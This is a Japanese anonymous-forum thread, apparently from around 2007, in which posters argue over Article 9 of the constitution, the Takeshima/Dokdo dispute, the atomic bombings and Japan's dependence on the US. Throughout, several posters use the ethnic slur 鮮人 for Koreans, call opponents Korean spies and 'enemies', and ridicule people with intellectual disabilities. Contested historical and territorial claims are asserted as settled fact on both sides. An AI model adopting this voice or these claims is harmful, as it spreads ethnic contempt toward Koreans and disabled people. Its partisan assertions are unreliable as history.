私は、万国公法は弱国を奪う一道具である、と言っているのだ」と日記に記している（『木戸孝允日記第一』）。
http://www.japanpen.or.jp/e-bungeikan/study/ohkoshitetsuji03.html

>>349
＞「意見に一貫性が無い」という指摘から

俺の意見は一貫性があるが、小さな脳ミソのあなたにはそれを理解する力がない。

>>351
> 但し書きが付いてても、なんで・・・

過程は過程。最終決定はSF条約の条文だよ。薄汚い鮮人侵略者は、
嘘をついて対馬・竹島・？島の横領を試みたが、米国に嘘がバレて
一蹴された。それが総て。

> 日露戦争のドサクサに韓国からカッパラッタ無人島だよ

日本が主権を回復する前のドサクサに、鮮人がカッパラッタ島だよ。

李承晩ライン(国際犯罪)が引かれてから、鮮人犯罪国(韓国)によって、
3929人の日本人が拉致され、44人が死傷するという事態となりました。

> 国際法とは弱国を奪う狼ドモの道具にすぎん

エナリは国際法も平気で踏み躙る野蛮人であります。


>>352
> 小さな脳ミソのあなたにはそれを理解する力がない

エナリって、切羽詰ると逆切れの罵倒しか出来ないのな〜(笑)


ホロン部の妄想宣伝はいい加減あきてきたよ。でも、それがお前らの
狙いだって知ってるけどね。何度論破されても、同じ嘘を恥知らずに
繰り返す。相手がうんざりして黙ったら成功、ていう作戦なんだろう
けど、鮮人のやることは本当にえげつないね。

　国連憲章・第７章・第５１条
　国際連合加盟国に対して武力攻撃が発生した場合には、安全保障理事会が必要な
措置をとるまでの間、加盟国は個別的・集団的自衛権を行使できる。

　憲法第九条の改正によって、このような国連加盟国の権利である個別的・集団的
自衛権を主張して何が悪い。　国連加盟国の義務である国連多国籍軍に自衛隊が
参加して何が悪い。　したがって、護憲派は日本の安全保障について何も考えて
いない非国民である。　
　http://www48.tok2.com/home/totsugawa/

左翼、いわゆる平和主義者は戦争反対、核兵器反対、軍拡反対。
もちろん憲法９条改正には反対。自衛隊は違憲であり、
反米、反日米安保を唱える。
Love ＆ Peaceを掲げ、戦争しなければ平和でいられるという
ジョン・レノン的短絡思想の持ち主である。

戦後日本は平和だったでしょ？戦争を放棄したからです。
平和のためには軍隊もミサイルも戦車も要らないのです。
アメリカに追従してはいけません、という。

日本の平和が米軍に守られている現実などまったく目に入らず、
吹けば飛ぶような理想論ばかりふり回す。
理想郷に住むピーターパンのような連中である。

右翼とは
十人十色の想いがある事を認識できず、
自らの都合にあわせ相手をタイプ分けし、
悦に入り、恥を晒す、猪突猛進型の人々の事である。
考えなしの人々とも言います。

左翼は？

>>356
センスのないヤツは、煽りの切れもない。

そもそも思想に偏りがある事自体馬鹿である事の証明
右翼＝馬鹿はもはや自明の事

>>359
もっとウヨクが、地団太踏んで悔しがる様なことを言ってくれ。

なお、これまでの日本の外交政策は極めてお粗末なものであった。

中国が右向けと言えば右を向き、韓国が左向けと言えば左を向きと言った状態で
日本の国益を考える正しい行動をする政治家がおらず、右も左も媚中派
ばかりであった。

しかし、ここに日本の救世主として小泉-安部政権が登場した。この政権により、
日本の特定アジアへの謝罪外交が矯正され、日本は毅然としていわゆるアジア諸国に対して
謝罪を拒否し、国益に沿った主張をするようになった。これは日本の未来のためこの上ない福音といえる。

今後も日本は国内外で特定アジア妄信心理教信者の行動を阻害し、正しい反特定アジア主義へと
導いていくことが大切である。もちろん、北朝鮮制裁で北朝鮮か困窮するなどと言ったことについて、
日本は全く配慮する必要性はない。(￣ー￣)ﾆﾔﾘｯ

>>356
＞右翼とは 十人十色の想いがある事を認識できず、

俺はこれでも右翼だが・・・・・

銃を突きつけられてる認識がない
http://vision.ameba.jp/watch.do?movie=503333

↑考えが全く無い
証明終了

>>361
＞しかし、ここに日本の救世主として小泉-安部政権が登場した。

確かに外交政策には急変があったけど、それは憲法9条無視の点だよ。
今までの日本の政権で、中国や韓国の意思をすんなり聞いた政権はないだろ。
中国との日中友好条約を結んだ田中角栄でさえ、ギリギリの外交交渉をしてる。

その点、アメリカに関しては右を向けといわれたら右を向くのが、日本の外交方針
それだけ危険で力のある国だから仕方のない面はあるけどね。
その外交方針は小泉-安部政権も確実に守ってるよ。

それもアメリカの「年次改革要望書」に盲従といえるほどの主体性のなさでね、

−−−−−（引用開始）−−−−−
郵政民営化法案の内容と2004年度の年次改革要望書の内容が酷似している。
ブッシュ大統領との密約があるとされる。
http://www001.upp.so-net.ne.jp/fukushi/year/koizumi_cabinet.html

日本のマスコがタブー視する「年次改革要望書」は、簡単に言えば、日本を
アメリカに都合がいいように改造するための外交文書である
http://blogs.yahoo.co.jp/hinokumagensai/29172605.html

>>355
＞左翼、いわゆる平和主義者は戦争反対、核兵器反対、軍拡反対。

アンタは単細胞。
左翼とは、全ての人の平等を理想とする思想。
平和主義とは、全ての事を話し合いだけで解決できるという思想。

全てバラバラの事を「左翼」の中に入れたら言葉が壊れてしまうぞ。

俺は天皇を大切にしたいという右翼思想ではあるが、憲法9条のおかげで
ベトナム戦争に日本が巻き込まれなかったと信じてる。
これがなかったら韓国以上の戦死者を出して事だろう。

それに９条は正当防衛権まで、禁止してない。
日本国内で外国軍と戦うという事まで禁止したものじゃないよ。

日本はアメリカに守られてるわけじゃなく、アメリカの都合と日本の都合で
米軍基地があるだけのことだ。
アメリカの都合が悪くなれば、そそくさと逃げ出すのは目に見えてる。
今は逃げ出しモードになってるようだぜ。

安倍総理の対米従属は、ほとんど意味が無くなってるのじゃないかね。
格好だけの強硬派じゃ屁みたいなもの。

−−−−−（引用開始）−−−−−
国際社会では「アメリカや韓国は、北朝鮮との関係を改善したいのに、日本が
でっち上げ的な拉致問題にこだわり、関係改善を妨害している」という論調が
強まりかねない。
日本政府が２００４年についた遺骨鑑定のウソも、いずれ問題になるかもしれない
http://tanakanews.com/070501JPUS.htm

>>362
鮮人エセ右翼宣言。ｷﾀ━━━ヽ(ﾟ∀ﾟ )ﾉ━━━!!!

>>366
左翼ではなくサヨクなのだよ。ヤツら(エナリも含)のは、
エセ平等主義。エセ平和主義。その実態は、自分だけが
立派に見えればいい。自分だけが甘い汁を吸えればいい。
その為だったら、他人などいくらでも踏み台に利用して
やる。という究極的な自己中心主義である。

ヤツらが得意とする手法は、「可愛そうな被害者」と
「分かりやすい悪者」を作り出し、自分は「正義の味方」
を気取って、「可愛そうな被害者」利用し「分かりやすい
悪者」を扱き下ろす、というパターンである。

>>367
>自分だけが立派に見えればいい。自分だけが甘い汁を吸えればいい。

立派に見えてるのかな？？
むしろクダラン暇潰しをしてる「知ったかぶり」で相手をやり込めて自己満足
してるバカみたいに思ってるけどね。

それに俺がどこで甘い汁が吸えるのか、逆に教えて欲しいくらいだ。
今は貧乏してるので頼むよ。

「分かりやすい悪者」を作り出しなんて書いてるけど、現実の世の中はそんなのは
いないと俺は思ってるぞ。

ヒットラーでさえ判りにくい悪者だったんじゃないかな。
だからこそ世界にあれだけの凄惨な被害を与え、彼の愛したドイツ人にさえ莫大な
被害を与えてしまった。

結果から考えるとヒットラーが唱えた平和主義がエセで、スイスが唱えた平和主義
が真理だったというべき。
ブッシュ大統領でさえ、平和を望むといいながらイラクで戦争をオッパジメタからね

パパ・ブッシュ大統領時代の水鳥の油汚れさえ、情報操作が行なわれてるんだよ。
また知ったかぶりをしてしまった！！！

−−−−−（引用開始）−−−−−
アメリカは、イラクの石油タンカーと原油貯蔵タンクなどを一月二十二日前後に
爆撃し、大量の油の海への「流出」を招いた。そして、三日後の二十五日になっ
てから、イラクの「放出作戦」だとスリカエ、デマ宣伝に居直ったのである。
http://www.jca.apc.org/~altmedka/gulfw-05.html

古今東西人類の歴史上、日本国憲法（特に第9条）ほど、
偽善と欺瞞と暴力主義に満ちあふれた醜悪なものは無い、と思う。
人間の悪徳の集大成とも言える。

理由は、この憲法の製作者であるアメリカが、自国の憲法の条文に
これらを何一つ取り入れてないから。

そしてそんな憲法を教典のごとく崇め奉る憲法原理主義の連中が
激しく気持ち悪い。
それで平和だの人権だの非暴力だの言っていることがさらに気持ち悪い。

２ちゃんねるのような匿名掲示板で本音を晒してみて一目瞭然なように、
「ネットウヨを殱滅」「安倍自民の凄惨な死を熱望」などなど、
レスを見ても、性根は極めて好戦的で血の気が多いのが明らか。
普段標榜している言動と180度正反対なのが既に多くの国民にバレバレなのだが、
思想・主張の論理に矛盾が満載なことも含め、最近はむしろ開き直って
連日煽り荒らしに励んでいる姿もよけい気持ち悪い。

>>369
＞日本国憲法（特に第9条）ほど、偽善と欺瞞と暴力主義に満ちあふれた醜悪なものは無い

これほど権力者を縛ってる憲法はないでしょう。
憲法とは権力者を縛るもので、法律は国民を縛るもの。

9条のおかげでベトナム戦争で韓国みたいに5000人もの
若者が戦死しなくて済んだのだ、イラク派兵でも自衛隊
員が臆病にも基地から出て行かなくて済む「タコツボ作戦」
なんて事をやってもブッシュ大統領に文句を言われなくて済んだ。

これほど実際に日本人の役に立った憲法なんてないのじゃないかな？
結果が全てだと思うぜ！

「軍隊がない国に発言権はない」ってド・ゴールが池田首相に言ったのさ。
しかも池田のことを「トランジスタの商人」と呼んだのさ。
池田っちはそれが悔しかった。

ベンジャミンフルフォード　「日本はここから侍のこころを取り戻そう！」
http://www.harmonicslife.net/PodCasts/2006/Yumi20061013Podcast_911Fulford.mp3

インチキスパイ衛星５０２２億円、維持運営費年間１５０億円！
この詐欺兵器１機だけで８万人の若者の高校・大学の学費を無料にすることが出来る。
イージス艦「あたご」１４７５億円、維持費年間４０億円！
このイージス艦というインチキ戦艦たった１隻で夕張市が３つも４つも救える。
こういうインチキ兵器を６隻も買わされた貧乏国民が世界中で物笑いの種になっていることを日本のマスコミは一切報じない。
国家間憎悪を煽り、民族間差別を散布し、どうでもいい痴呆番組やどうでもいいスポーツ番組を朝から夜中まで垂れ流すような愚民教育が貫徹しているからだ。
http://esashib.hp.infoseek.co.jp/yubari01.htm
いま、年金の受給漏れが９５０億円だなどと自民党と民主党の八百長ケンカを
これまた八百長マスコミがさも大事のように騒いでいる。
平成日本軍部のインチキ戦艦イージス一隻にも満たない額である。
http://www.jcp.or.jp/akahata/aik2/2003-10-31/03_01.html
http://members.at.infoseek.co.jp/YaYa/system.htm
F22戦闘機の価格は1機約237億円（2億ドル）以上。
この基地外詐欺兵器を１００機購入すると晋三は抜かしている。
全国で６０年も７０年も働いて来た多くの老人が順番待ちの老人介護施設の建設費が１棟たった約１２億円。
http://homepage3.nifty.com/m_and_y/genron/data/nangjin/yousukou.htm

>>368
> 立派に見えてるのかな？？
良心的日本人と言われ特定アジアからちやほやされ、
人権平和の闘士として、マスコミからちやほやされ、
というのを夢見てるんだよね。

> 俺がどこで甘い汁が吸えるのか
自己陶酔という甘い汁。

> 分かりやすい悪者・・・現実の世の中はそんなのいないと俺は
> 思ってる
何かというと、すぐに権力者が悪い〜と言うくせに。

> ヒットラーが唱えた平和主義がエセで、スイスが唱えた平和主義
> が真理だったというべき
ほら、また偉ぶった「べき」論が出た。しかもゲスの後知恵だし。

スイスのは平和主義じゃなくて中立主義。もっとはっきり言えば、
大勢が決するまで様子を見て、優勢なほうに乗っかるだけ。大戦
でも、ちゃっかり戦勝国になって、賠償金をせしめているよ。

>>370
> 9条のおかげで・・・
拉致被害者を見殺しにし、面白いよに血税をカツ上げされ続け、領空
領海は蹂躙され放題で、国内は世界一のスパイ天国となった。重要な
情報は頭上を素通りし、国際会議では座ってるだけのお飾りと成り果
てた・・・・・

あげ

>>374
＞人権平和の闘士として、マスコミからちやほやされ、

それじゃチットモ立派には見えないけど・・・・・
自己陶酔という言葉は少しは判るが、あなただってそれは同じじゃないのかな？
それ以外には、人間がやれる行動原理にはならないでしょう

それにスイスは平和主義であり中立主義なんだよ。
フランスとの戦争に敗れて屈辱の中から、200年間の戦争の災禍から抜けれたの。

第2次大戦じゃ大勢が決するまでの様子見じゃない、あなたの誤解だ。
そんなあなたみたいな思想では、国家が戦火の渦中に叩き込まれる！

ーーーーー（引用開始）−−−−−
この最大のピンチに、ギザン将軍は「砦作戦」をもって応じた。
スイスとイタリアを結ぶ道路は、アルプスの３つの峠が関所とな
っている。これらのトンネルや鉄道線路に爆破装置をしかけ、ド
イツ軍の侵攻があったら、即座に通商路そのものを破壊すると宣
言した。

　さらに、侵攻があったら、国土の４／５を占める平地を見捨て、
軍隊のみでアルプスの天険を砦として、ゲリラ作戦を展開する準
備を進めた。
http://www2s.biglobe.ne.jp/~nippon/jogbd_h11_2/jog095.html

>>374
＞9条のおかげで・・拉致被害者を見殺しにし、面白いよに血税をカツ上げされ続け

間違い！
それは自民党政府がヘタレだから。
金正日の長男家族4人を返して、日本の一般人5人を帰して貰い
まあ、それでも悪いとは言わんけど後がダメ。

もっと情報を集めるべきタイミングで、拉致被害者を北に帰さないように騒ぎ立て
グチャグチャニした安倍晋三は、子供並みの知能。

軍事力では北朝鮮より日本のほうがはるかに上だぜ。
世界3位の軍事費を使ってて、この上何を要求したいんだろうね。

ーーーーー（引用開始）−−−−−
「軍事費の７大国家」というのがあります。
第３位が、実は我が日本なんです。「防衛費がＧＮＰの１％」て言うでしょ。

１％ってちっちゃいよネ。と思ったら大間違いです。
http://www5a.biglobe.ne.jp/~sdpkitaq/iraq09.htm

誰か憲法９条を変えることのメリット・デメリットを教えてください

>>376
> あなたみたいな思想では、国家が戦火の渦中に叩き込まれる！

また逆切れかい(笑)


>>377
> それは自民党政府がヘタレだから・・・
> 安倍晋三は子供並みの知能・・・

ほ〜ら、分かり易い悪者をつくった。憲法は政府を制御するもの
だろーが。あれもダメこれもダメと言いながら、何か起こると
国が悪いー！ 権力者が悪いー！ いい気なもんだ(笑)

> 世界3位の軍事費を使ってて・・・

またまた性懲りもなく、金額の問題に摩り替えたね。問題は装備
の中味なんだよ。

>>378
９条を変えれば、そうだな、

北海道や沖縄や壱岐対馬などが、第二第三の竹島・北方領土になる可能性を
かなり減らすことが出来る。
また、第二第三の横田めぐみさんを生み出す可能性を
かなり減らすことが出来る。

　中国の軍備拡張を抑制してよ！　憲法９条で。

台湾をどうにかする気がありあり何ですけど。

台湾が支配されて日本が影響ゼロとかおもっている人って



　まさか居ないよね。　　

ああ中国の軍備？
　
三菱の制御関係だからこっちからあれおくれば全部あぼんだろ
ほっとけや

おいおい、お前らって特殊学級からでも逃げてきたのかよｗｗｗ」

「チブのまいた」ってなんだよｗｗｗ
「シブのまいた」ってなんだよｗｗｗ

「真っ赤撃たれた」ってどういう意味だよｗｗｗ

最後に元気良く「脳獲ったね」だもんなｗｗｗｗ

お前らって天然だから始末に終えないよなｗｗｗｗ


おいおい、いい歳して知的障害抱えた信者にチャントした
日本語教育ぐらい受けさせてやれよ

頼むわ所轄公明党 ｗｗｗ

【米特使】　「原爆使用が何百万人もの日本人の命救った」

　米政府のロバート・ジョセフ核不拡散問題特使（前国務次官）は３日の記者会見で、
広島・長崎への原爆投下について「原爆の使用が終戦をもたらし、連合国側の
万単位の人命だけでなく、文字通り、何百万人もの日本人の命を救ったという点では、
ほとんどの歴史家の見解は一致する」と語った。
　米国とロシアの核軍縮枠組みづくりに関する会見での発言で、久間前防衛相の
発言問題と直接絡んだものではない。ジョセフ氏は、「原爆を使用した米国が核不拡散に
ついて訴える道義的な根拠があるのか」との質問に対し、
「米国は核不拡散で指導的立場に立ってきた」などとかわした。
http://www.asahi.com/politics/update/0704/TKY200707040381.html?ref=goo

>>380
>北海道や沖縄や壱岐対馬などが、第二第三の竹島・北方領土になる可能性

歴史を全く知らないバカ！
北海道や沖縄、壱岐対馬は江戸時代から日本領土になってた場所。

それに対して竹島は、明治時代の日露戦争のドサクサにロシア艦隊を見張る為の
情報基地として日本領土にした無人島なんだよ。
アンタ竹島を日本領土にした1905年がどんな時かまったく知識がないのじゃないの？

韓国内を日本の軍人がウロウロして示威行動をしてる時なんだよ。

その点、尖閣諸島は日清戦争のドサクサに日本領土にした島だが、俺はギリギリで
日本領土とは思ってるけどな。

ーーーーー（引用開始）−−−−−
(1905年)11月17-18日、歩兵一大隊・砲兵中隊・騎兵連隊が王宮前や目抜き
通りの鐘路で演習と称する示威をおこない、日本兵が物情騒然とした市中を巡
回し市民をおびやかした。
http://www.han.org/a/half-moon/hm095.html#No.697

>>378
＞誰か憲法９条を変えることのメリット・デメリットを教えてください

変えたら自衛隊の海外派兵がもっと行なわれて、治安活動にも動員される。
治安が悪化してるアフガンやイラクにも自衛隊の派遣が、アメリカに強要されるだろ

これから起きる可能性のあるイラン侵略、にも動員されるかも知れんな。
それに反対運動をする連中は、自衛隊による監視対象になるだろうね。
今もずいぶん、やられてるようだが9条のおかげで大規模ではない。

メリットは堂々と引け目なしに、軍隊を日本が持てること。
普通のアジア各国のように、日本でもクーデターを起こす準備が出来る事。

ーーーーー（引用開始）−−−−−
監視されている対象には
高校生もいました。

「平和を願う高校生です」という自己紹介まで記載されています。
http://atsukoba.seesaa.net/article/44135852.html

ーーーーー（引用開始）−−−−−
「逃げるな、茶会でない」　米副長官が自衛隊派遣を要求

　イラクへの自衛隊派遣問題で、アーミテージ米国務副長官が中東担当特使の
有馬龍夫政府代表に対し、日本政府はイラク復興支援から「逃げないでくれ」
（ＤＯＮ’Ｔ　ＷＡＬＫ　ＡＷＡＹ）と早期の自衛隊派遣を極めて厳しい口調で要求して
いたことが分かった。

　副長官は、復興支援は「お茶会への出席じゃない」とも指摘。

日本の閣僚から自衛隊派遣で慎重論が相次いでいることに「頼むから何も言うな」
と強い不快感を示した。
（共同通信２０００．８．３１）

>>384
＞「原爆使用が何百万人もの日本人の命救った」

これは嘘！
原爆使用は人体に対する影響を確認する為の、日本人をモルモットにした核実験。
戦争の時でなければ決して出来ない実験だよ。

日本はこの当時、ソ連ルートやスイスルートなどいろんな手を使って降伏を
アメリカに対して行なってました。
輸送網も寸断されて、軍艦も戦闘機も戦車も残り少なく米軍のジュウタン爆撃で
焦土になってる日本は、降伏は時間の問題。

同盟国のイタリアもドイツも降伏してしまった状態だ。
この上に、ソ連が攻撃してくるのはヤルタ会談で密約が出来てた。
原爆は不必要。

ーーーーー（引用開始）−−−−−
スターリンは、大きな紛争を抱えていない日本と戦うことは国益にかなわず、
国民を納得させることができないと主張し、対日参戦に大義名分を与えるには、
南樺太の返還と千島列島の獲得が不可欠だとルーズベルトに詰め寄ります。
http://www.uraken.net/rekishi/syusen05.html

>>385
> 歴史を全く知らないバカ！

お前が言うか〜(苦笑)

> それに対して竹島は、明治時代の日露戦争のドサクサに・・・

うそうそ。竹島は古来より日本固有の領土です。17Cの竹島一件でも、
鬱陵島の領有権は争われたが、竹島は問題外だったんだよ。
子供だましの嘘も100万回唱えると「本当」になると信じてるんだね。
ホロン部エナリ(ぷっ)

> 尖閣諸島は日清戦争のドサクサに・・・

これも嘘。尖閣は琉球王国の範疇だよ。その琉球王国が薩摩藩に吸収
されたので、日本の領土になったんだよ。

>>386
> 自衛隊の派遣が、アメリカに強要されるだろ

強要されるのは、9条があっても無くても時間の問題。日本が自主的に
判断する勇気を持てるかどうかが重要。そのためには、自国の安全を
「平和を愛する諸国民」などに委ねていてはダメだね。

> 反対運動をする連中は、自衛隊による監視対象になるだろうね

本来は公安がやるべき仕事。反対運動をしている連中は、特定の外国
の利益を代弁する傾向が強い(護憲運動しかり)ので、スパイ工作活動
を疑うのは当然。つまり監視活動は9条の有無とは無関係。


>>388
めずらしく良いことを言うじゃないか(笑)

原爆投下後の報告書に「実験」という表現があって、物議をかもした
のは有名な話しだね。
占領軍は治療をしてやると言って被爆者を集めたが、実際は何の治療も
せずにデータの収集をした。眼底検査を繰り返されて、事後に失明した
者も少なくない。

米国が原爆使用の目的として、犠牲者軽減を考慮していた記録は無い。
犠牲者軽減論は、被爆地を取材した米国のメディアが、その残虐性を
批判し始めたのに慌てた国務省が、正当化のために作り出した言い訳
にすぎない。

反戦な家づくり 日本版ＮＳＣ（国家安全保障会議）の恐ろしさ
http://sensouhantai.blog25.fc2.com/blog-entry-253.html

よく読むと、日本には危機管理はいらないじゃないか！
と言うことらしいです。
う〜ん。どうなんだろうかねぇ。

>>389
＞鬱陵島の領有権は争われたが、竹島は問題外だったんだよ。

鬱陵島と竹島はセットだったんだよ。
日本から高級な材木や竹、アワビなどの海産物を鬱陵島に取りに行くときの、
寄港地が竹島だったの。

鬱陵島が韓国領だと江戸時代に確定してからは、ワザワザ竹島に行くかい？
だってあんな小さな見えもしない無人島まで、エンジンもなしに１６０ｋｍも
日本海流を横断して何をとりに行くんだろうね。
片道だけ隠岐からでも2日はかかるよ。

アシカや魚を取りに、行くものかな？？

その点、鬱陵島から竹島へは90ｋｍ海流も順流で、場所によっては逆流もある。
しかも天気のいい日には見える距離だ。

ーーーーー（引用開始）−−−−−
海水が冷たくて、大気が暖かいような気象条件によっては、鬱陵島の海岸付近
でも竹島が見える可能性があります。
http://www.ne.jp/asahi/cccp/camera/HoppouRyoudo/Other/Ullundo/Ullun.htm

>>392
その理論だと、韓国はなぜ竹島を領土としてるんだ？
日本は鬱陵島あたりまで漁をしていて、竹島を中継に使ってたわけだろ？
韓国は竹島を何に使ってたの？
歴史から考えるなら、日本領土じゃないか。

あと、なぜ韓国を庇う必要があるんだ？
島根の人や日本の漁師が困ってるんだぞ？

恵也さんよ、あんたおそらく父親は日本人じゃないんだろうけどな・・・
日本軍を叩いて、韓国軍が死んだら可哀相みたいな書き方をしてたら
バレバレだぞ？領土まで韓国に謙譲する発言しちゃって・・・

あんたらは結局「韓国の男」だからな？
日本の男になることはできない。
日本という国を韓国の男が乗っ取れればいいんだろ？

日本が弱いままの方が都合がいいよなあ。

謙譲じゃなくて献上だな・・・

ともかく、もう日本人のフリするのはやめてくれないか？
渡来人だとでもいうのか？
今はやりだよな。渡来人だと考えれば同じって？

でもあんたらは、日本人を敗戦国民と罵ったよな？
日本の都市の一等地を乗っ取ったよな？
魂が韓国になるのに、日本人のフリをして、朝鮮のスパイとして生きてるよな？

あんたらは敵だよ。明らかに。

>>392
> 鬱陵島と竹島はセットだったんだよ

また嘘をつく。竹島(鬱陵島)一件の資料は日本にも朝鮮にもあるが、
竹島(現在の)に関する記述はどこにもない。

> ワザワザ竹島に行くかい？

お前のはいつも、希望的観測に基づく憶測だけなんだよ。ワザワザ
竹島に行かないだろうと言うのなら、それは同時に朝鮮人にも当て
はまることだろ。日本人は鬱陵島があったから、竹島に立ち寄って
いた実績がある。竹島より先に用のない朝鮮人は、初めから竹島
など眼中にない。これで決着！


ここまで書いて気づいたけど、>>393 が端的に指摘していたね。
まともな知性を持った人には、分かって当たり前の理屈だもんな w

そして、エナリがホロン部だって、みんな気づき始めたね。

>>393
>韓国は竹島を何に使ってたの？

鬱陵島にいる人間の漁場として利用してたと思う。
魚はあまり海の深いところにはめったに居なくて、島の周りにいるもの。

９０ｋｍくらいの沖に見える程度の無人島なら、鬱陵島が不漁になれば
漁民が遠征するには、ピッタリの距離。

島根県の漁民は、今のエンジンならともかく昔の手漕ぎや帆かけ船じゃ
無人島の小さな竹島に行くには大冒険の距離。

鬱陵島の確実に取れる高級木材や竹を取る目的で、ついでに海産物を取る
のなら竹島にも寄れるけどね。

それから俺は日本を庇ってる。
日本の漁師が他国で泥棒をしては、日本の国家としての面子に関わる。
日本は貿易立国であって、泥棒国家であってはいけないんだよ！

>>394
＞恵也さんよ、あんたおそらく父親は日本人じゃないんだろうけどな・・・

悪いが3代前までは、おれは確実に純日本人。

>>396
＞ 鬱陵島と竹島はセットだったんだよ

これは昔、鬱陵島を竹島と呼び、竹島を松もないのに松島と呼んでた。
日本ではむかしから松と竹や、鶴と亀をセットでめでたい物としてたのを
知らないのかな。

明治政府は「鬱陵島外一島」として竹島を1877年に放棄してます。
それが30年したら知らん振りで、日本領土にしたんだよ。
でもあんた本当に日本人かい？

ーーーーー（引用開始）−−−−−
昔は、鶴、亀、松、竹など蒔絵模様の描かれている「お食い初め椀」を用い、
しかも、お膳は紋付で二の膳までつけたようです。
http://www.isetan.co.jp/icm2/jsp/shops/gift/gishiki/b2/b5_1.jsp

明治政府は「外一島」が不明なまま領土を放棄
するほど愚かではありません。太政官決定に際して、「外一島」が竹島（独
島）であると認識されていたことは伺書の付属文書から明らかなようです。
http://www.han.org/a/half-moon/hm069.html#No.453

ホロン部は、たとえ子供だましの嘘でも、100万回唱えれば
本当になると信じている。エナリを見ればよく分かるよね(笑)

>>398
なんだお前オッサンかよw

>>397
鮮人の妄想。何の根拠も証拠も無い。
朝鮮は海賊対策のために、1世紀以上に渡って空島政策をとるなど、
鬱陵島への渡航すら、抑制してきたんだからね。

>>398
日本人のわけね〜。ホロン部の厚顔無恥おそるべしっ！

>>399
鬱陵島 = 磯竹島・竹島・松島・ダジュレー島・アルゴノート島・・・
竹島　 = 松島・竹島・リャンコ島・・・

日本側の呼び名をざっと挙げてもこれだけある。それに松島とか竹島
とかいう名の島は、日本中に沢山あるんだよ。何が松竹梅セットだ(笑)

「鬱陵島外一島」は竹島を指してはいないよ。執拗なホロン部の嘘宣伝
おそるべしっ！ 逐一反論しておかないと、慰安婦や強制連行みたいに、
事実が嘘と摩り替わっちまうからね。怖い怖い。

>>402
＞「鬱陵島外一島」は竹島を指してはいないよ

外一島は竹島の事を指してます。
こんな声明を明治時代の内閣が出したのは、島根県の調査に基づいてのこと。

ーーーーー（引用開始）−−−−−
太政官が竹島（鬱陵島）、松島（竹島＝独島）の領有問題を考えるきっか
けになったのは、内務省の地理寮が地籍を編纂するために、島根県に「竹島」
なる島の情報を照会したのがきっかけでした。
http://www.han.org/a/half-moon/hm082.html#No.564

>>402
＞日本側の呼び名をざっと挙げてもこれだけある。それに松島とか竹島
＞とかいう名の島は、日本中に沢山あるんだよ。何が松竹梅セットだ(笑)

江戸時代には、日本の呼び名は鬱陵島（を竹島）と竹島（を松島）だけです。
明治時代の混乱を拡大しないように！

>>403-404
プロの宣伝工作員てやつは、本当に凄い粘着だね。参るよ。

「鬱陵島外一島」については、別スレでオレが論破済み。
http://money6.2ch.net/test/read.cgi/seiji/1164029474/636
http://money6.2ch.net/test/read.cgi/seiji/1164029474/637

> 明治時代の混乱を拡大しないように！

その混乱がもろに出ているのが「鬱陵島外一島」なんだよ。
混乱した情報の中から、鮮人に都合のいいところだけを取り上げ
ている君は、正真正銘の鮮人ホロン部。

>>405
＞「鬱陵島外一島」については、別スレでオレが論破済み。

それは論破とは、日本語では言いません。
あなたは私の論拠にまったく触れず、あなたの知識の披露しかしてない。

俺の論拠は
�@日本が竹島を日本領土だとした1905年の軍事情勢。
　今の日本がアメリカに逆らえないのは、世界の軍事費の４０％を使ってる
　軍事大国相手では日本にとってあまりにも危険。
　
　それ以上の軍事的脅威を当時の韓国は、日本に対して持っていたという事実。

�A「鬱陵島外一島」が日本領土ではないと明治政府が1877年に宣言した事実。
　外一島を島根県が明治政府に送った公文書に、竹島だと明記してた事。

これらに対するマジメな反論もなしに”論破”とは片腹痛しｗｗｗｗｗｗｗｗｗ

ーーーーー（引用開始）−−−−−
次に一島あり。松島と呼ぶ。周囲３０町(3.3km)である。竹島と同じ船路
にある。隠岐をへだてる８０里(320km)ばかりである。樹木や竹は稀である。
また、魚や獣（アシカか）を産する。
http://www.han.org/a/half-moon/hm082.html#No.565

>>406
> あなたは私の論拠にまったく触れず
馬鹿め。お前が半月から受け売りした屁理屈が、矛盾していると
指摘したんだよ。それに対してお前は、何の反論も出来ずに逆切れ
して逃げたんだよ。完璧な論破だろ。

> 日本が竹島を日本領土だとした1905年の軍事情勢
1905年以前から日本は竹島を領土としていたので、そもそも的外れ。
日韓の立場に関する問題については、大戦後、日本が主権を回復する
前に、韓国が暴力で竹島を略奪したことを正当化しているお前の論法
は、一貫性に欠けた不公正極まりない見方。よってホロン部決定！

> 「鬱陵島外一島」が日本領土ではないと明治政府が1877年に宣言した
そのような宣言はしていない。「外一島」を竹島であると、手前勝手な
解釈をしているだけ。当時、日本政府は「松島」開拓計画を進めていた
のに、放棄するはずもなし。

> 外一島を島根県が明治政府に送った公文書に、竹島だと明記してた事
そのような記述は無い。島根県は「松島」と固有名詞を使っているが、
太政官は「外一島」という代名詞しか使っていない。島根県の地理的知識
は正確ではない。公文書は絶対に間違わないとでも思っているのかね。
では他の公文書にも目を通しなさい。矛盾だらけだから。
http://money6.2ch.net/test/read.cgi/seiji/1164029474/636
http://money6.2ch.net/test/read.cgi/seiji/1164029474/637
http://money6.2ch.net/test/read.cgi/seiji/1164029474/657

> これらに対するマジメな反論もなしに・・・
何度論破しても、卑怯者のお前が見なかったことにしているだけ。
そもそもお前は、竹島が韓国領であるという根拠を何一つ提示して
いない。

【書評】『憲法九条は諸悪の根源』潮匡人著(1)

■戦後日本のごまかしと嘘

「日本の常識は世界の非常識」と２０年以上も前に竹村健一氏が言って、
多くの日本人も外国人もそう思った。

では戦前の日本についてはどうだったか。明治開国以後の日本においては
「日本の常識は世界の常識」になっていた。
いな、「世界の常識」が「日本の常識」になるように努力してきたのが
明治以後の日本だったのである。
それが昭和２０年代から、「日本の常識」は世界の常識からずれてしまった。なぜか。

それはいわゆる新憲法と呼ばれる占領軍制作の占領基本法を日本人が「憲法」であると
考えるようになったからである。主権の発動である憲法制定が、主権が奪われた状態で
できるわけがないという明白な事実を、当時の日本人はごまかしたのであり、
そのごまかしは今まで続いている。中でもそのごまかしが特に顕著に現れているのが
「憲法九条」に関する護憲論者たちのへ理屈なのである。
この点につき、すべて実名をあげて名指ししながら説き明かした痛快な書物が現れた。

>>407
＞お前が半月から受け売りした屁理屈が、矛盾していると

どこが矛盾してるのか、意味が分からん。
日本が主権を回復する前に、なぜ連合国に竹島が日本から引き離された理由を考えなさい。

「日本政府は「松島」開拓計画を進めていた 」これは鬱陵島の事。
松島と竹島がゴチャゴチャになってた時期なんだけど、理解できないのかい？

島根県の調査のどこが正確でないのか、あなたの文章じゃ意味が分からん！

【書評】『憲法九条は諸悪の根源』潮匡人著(2)

戦後の日本が、いかにひどいごまかしだらけの国になっているかを潮氏は名調理人の
